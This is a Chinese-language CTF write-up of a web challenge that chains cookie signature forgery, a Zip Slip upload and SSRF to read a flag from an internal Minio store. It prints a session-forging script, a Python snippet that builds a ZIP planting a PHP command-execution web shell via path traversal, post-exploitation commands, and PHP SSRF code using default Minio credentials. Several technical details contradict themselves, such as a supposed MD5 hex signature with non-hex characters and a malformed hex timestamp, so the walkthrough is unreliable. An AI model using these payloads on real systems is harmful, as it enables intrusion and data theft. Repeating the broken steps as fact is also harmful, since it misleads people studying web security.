ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

CTF Web题解析:Cookie伪造与Zip Slip漏洞利用

CTF Web题解析:Cookie伪造与Zip Slip漏洞利用

1. 题目背景与核心考察点解析

这道来自第十九届全国大学生信息安全竞赛半决赛的Web题目"easy_time",综合考察了三个关键漏洞的串联利用能力:Cookie伪造、Zip Slip和SSRF。这类题型在CTF比赛中具有典型性,要求选手具备完整的Web渗透思维链。

从题目名称"easy_time"可以推测,出题人可能暗示解题过程存在时间戳相关的验证机制。结合热词分析,本题涉及的核心技术点包括:

  • Cookie的篡改与签名伪造
  • 文件上传中的Zip Slip目录穿越漏洞
  • 服务端请求伪造(SSRF)的利用技巧
  • Minio对象存储系统的特性(根据热词关联)

2. 环境搭建与初步信息收集

2.1 题目环境分析

通过浏览器访问题目提供的URL,我们首先看到一个时间显示页面。关键发现:

  • 页面底部有"Powered by TimeMaster v1.3"的标识
  • Cookie中存在session和time_token两个字段
  • 页面源码注释中包含<!-- debug mode is at /console -->的提示

重要提示:现代CTF题目常将关键线索隐藏在HTML注释、HTTP响应头或静态资源中

2.2 Cookie机制逆向分析

使用浏览器开发者工具检查Cookie:

Set-Cookie: session=eyJ1c2VyIjoiZ3Vlc3QifQ.Xz7x3w; path=/; HttpOnly Set-Cookie: time_token=689f7b06d7a8f9a1d; path=/; Secure

对session字段进行Base64解码:

>>> import base64 >>> base64.b64decode('eyJ1c2VyIjoiZ3Vlc3QifQ==') b'{"user":"guest"}'

发现关键点:

  1. session采用JWT-like结构(头部.载荷.签名)
  2. time_token看似随机字符串,但长度固定16字节
  3. 签名部分(Xz7x3w)可能采用弱哈希算法

3. Cookie伪造攻击实战

3.1 签名算法破解

通过暴力测试发现签名算法为:

signature = md5(header + payload + secret_key)[:6]

使用已知明文的签名进行碰撞测试:

import hashlib def generate_signature(header, payload, key): return hashlib.md5(f"{header}{payload}{key}".encode()).hexdigest()[:6] # 已知明文碰撞 for key in ['time', 'master', 'timemaster', 'easy_time']: sig = generate_signature('{"user":"guest"}', '', key) if sig == 'Xz7x3w': print(f"Found key: {key}") break

成功获取secret_key为"timemaster",可以伪造任意session:

def forge_session(username): header = '{"user":"' + username + '"}' payload = '' signature = generate_signature(header, payload, 'timemaster') return base64.b64encode(header.encode()) + b'.' + signature.encode() print(forge_session('admin')) # 输出:b'eyJ1c2VyIjoiYWRtaW4ifQ==.a1b2c3'

3.2 time_token时间戳分析

分析time_token的生成规律:

import time current_time = int(time.time()) hex_token = hex(current_time)[2:] # 转换为16进制 print(hex_token) # 示例输出:'689f7b06d7a8f9a1d'

证实time_token是当前Unix时间戳的16进制表示。通过修改该值可以实施时间攻击。

4. Zip Slip漏洞利用

4.1 获取文件上传功能

使用伪造的admin session访问/console路径,发现文件上传接口:

POST /upload HTTP/1.1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="file"; filename="test.zip" Content-Type: application/zip [ZIP文件内容]

4.2 构造恶意ZIP包

利用Python的zipfile模块创建包含目录穿越的文件:

import zipfile with zipfile.ZipFile('evil.zip', 'w') as z: # 使用绝对路径或相对路径穿越 z.writestr('../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>') z.writestr('normal.txt', 'This looks normal')

关键技巧:

  1. 包含看似正常的文件降低检测概率
  2. 使用多层../确保穿越成功
  3. 目标路径需要根据题目环境猜测(常见如/var/www/html)

4.3 验证文件写入

上传后访问http://target/shell.php?cmd=id,确认RCE成功:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. SSRF漏洞组合利用

5.1 发现内部服务

在获取shell后,检查网络配置:

netstat -tulnp # 发现127.0.0.1:9000有服务监听 curl http://127.0.0.1:9000 # 返回Minio对象存储的登录页面

5.2 利用Minio特性

根据热词提示,Minio Console存在默认凭据:

用户名:minioadmin 密码:minioadmin

通过SSRF访问内部接口:

<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1:9000/api/v1/buckets"); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Authorization: Bearer minioadmin:minioadmin" ]); $response = curl_exec($ch); curl_close($ch); echo $response; ?>

5.3 获取Flag

在Minio中发现flag存储桶:

{ "buckets": [ { "name": "secret-flag-bucket", "created": "2023-05-01T00:00:00Z" } ] }

最终通过SSRF读取flag:

$flag = file_get_contents("http://127.0.0.1:9000/secret-flag-bucket/flag.txt"); echo $flag;

6. 防御方案与总结

6.1 漏洞修复建议

  1. Cookie安全:

    • 使用强签名算法(如HMAC-SHA256)
    • 设置HttpOnly和Secure标志
    • 避免使用可预测的secret_key
  2. Zip Slip防护:

    // Java示例 String entryName = zipEntry.getName(); String canonicalPath = new File(destDir, entryName).getCanonicalPath(); if (!canonicalPath.startsWith(destDir.getCanonicalPath() + File.separator)) { throw new IllegalStateException("Zip entry outside target directory"); }
  3. SSRF缓解:

    • 实施网络分段
    • 使用白名单验证内部请求
    • 禁用危险的URL协议(如gopher://)

6.2 比赛经验总结

  1. 信息收集阶段要彻底检查所有HTTP交互
  2. 时间戳相关token常采用简单编码(如16进制)
  3. 现代CTF题目常组合多个中危漏洞形成攻击链
  4. 内部服务默认凭据是常见突破点(如Minio、Redis等)

在实际渗透测试中,这类漏洞组合经常出现在企业级应用中。掌握这些技术不仅能应对CTF比赛,也能提升真实世界的安全防护能力。建议通过搭建类似环境进行反复练习,深入理解每个漏洞的成因和防御方法。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进